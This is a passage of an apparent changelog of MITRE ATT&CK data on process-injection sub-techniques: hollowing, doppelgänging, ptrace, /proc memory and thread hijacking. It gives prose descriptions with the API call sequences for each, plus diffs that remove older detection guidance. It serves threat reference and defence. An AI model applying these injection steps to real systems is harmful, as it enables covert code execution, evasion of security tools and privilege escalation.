false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/002", + "external_id": "T1055.002" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Process: OS API Execution\", \"Process: Process Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.839000+00:00\", \"old_value\": \"2025-04-25 14:47:15.984000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0106: Behavioral Detection of PE Injection via Remote Memory Mapping" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 01:34:10.588000+00:00", + "modified": "2025-10-24 17:49:25.806000+00:00", + "name": "Proc Memory", + "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/009", + "external_id": "T1055.009" + }, + { + "source_name": "Uninformed Needle", + "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", + "url": "http://hick.org/code/skape/papers/needle.txt" + }, + { + "source_name": "GDS Linux Injection", + "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.", + "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html" + }, + { + "source_name": "DD Man", + "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.", + "url": "http://man7.org/linux/man-pages/man1/dd.1.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.806000+00:00\", \"old_value\": \"2025-04-25 14:48:08.263000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0541: Detection Strategy for /proc Memory Injection on Linux" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 17:19:50.978000+00:00", + "modified": "2025-10-24 17:48:56.422000+00:00", + "name": "Process Doppelg\u00e4nging", + "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/013", + "external_id": "T1055.013" + }, + { + "source_name": "Microsoft TxF", + "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx" + }, + { + "source_name": "Microsoft Basic TxF Concepts", + "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx" + }, + { + "source_name": "Microsoft Where to use TxF", + "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx" + }, + { + "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017", + "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.", + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf" + }, + { + "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017", + "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.", + "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/" + }, + { + "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine", + "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.422000+00:00\", \"old_value\": \"2025-04-25 14:47:03.621000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\\u00e4nging Dec 2017)\\n\\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\\u00e4nging Dec 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\\u00e4nging Dec 2017)\\n-\\n-Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\\u00e4nging Dec 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0544: Detection Strategy for Process Doppelg\u00e4nging on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 17:21:54.470000+00:00", + "modified": "2025-10-24 17:49:14.559000+00:00", + "name": "Process Hollowing", + "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/012", + "external_id": "T1055.012" + }, + { + "source_name": "Nviso Spoof Command Line 2020", + "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.", + "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Leitch Hollowing", + "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.", + "url": "https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf" + }, + { + "source_name": "Mandiant Endpoint Evading 2019", + "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.", + "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: Process Modification\", \"Process: OS API Execution\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.559000+00:00\", \"old_value\": \"2025-04-15 19:58:58.724000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0382: Detection Strategy for Process Hollowing on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 01:33:19.065000+00:00", + "modified": "2025-10-24 17:49:33.344000+00:00", + "name": "Ptrace System Calls", + "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/008", + "external_id": "T1055.008" + }, + { + "source_name": "PTRACE man", + "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.", + "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html" + }, + { + "source_name": "Medium Ptrace JUL 2018", + "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.", + "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be" + }, + { + "source_name": "BH Linux Inject", + "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.", + "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf" + }, + { + "source_name": "ArtOfMemoryForensics", + "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017." + }, + { + "source_name": "GNU Acct", + "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", + "url": "https://www.gnu.org/software/acct/" + }, + { + "source_name": "RHEL auditd", + "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" + }, + { + "source_name": "Chokepoint preload rootkits", + "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", + "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Access\", \"Process: Process Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.344000+00:00\", \"old_value\": \"2025-04-25 14:48:25.896000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0203: Detection Strategy for Ptrace-Based Process Injection on Linux" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 01:28:32.166000+00:00", + "modified": "2025-10-24 17:48:42.433000+00:00", + "name": "Thread Execution Hijacking", + "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/003", + "external_id": "T1055.003" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Modification\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.433000+00:00\", \"old_value\": \"2025-04-25 14:46:28.558000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0295: Behavioral Detection of Thread Execution Hijacking via Thread Suspension and Context Switching" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744", + "created_by_ref": 